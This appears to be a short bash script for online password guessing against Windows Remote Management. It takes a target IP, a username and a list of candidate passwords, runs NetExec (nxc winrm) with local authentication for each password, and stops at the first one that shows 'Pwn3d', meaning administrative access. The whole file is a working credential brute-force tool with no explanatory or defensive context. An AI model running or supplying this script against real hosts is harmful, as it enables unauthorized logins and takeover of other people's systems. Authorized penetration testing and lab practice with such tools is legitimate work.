#!/bin/bash
IP=$1; USER=$2; shift 2
for P in "$@"; do
  OUT=$(timeout 20 nxc winrm "$IP" -u "$USER" -p "$P" --local-auth --no-progress 2>&1 | grep -E 'Pwn3d|SUCCESS|\]')
  echo "[$IP] $USER:$P -> $OUT"
  echo "$OUT" | grep -q 'Pwn3d' && exit 0
done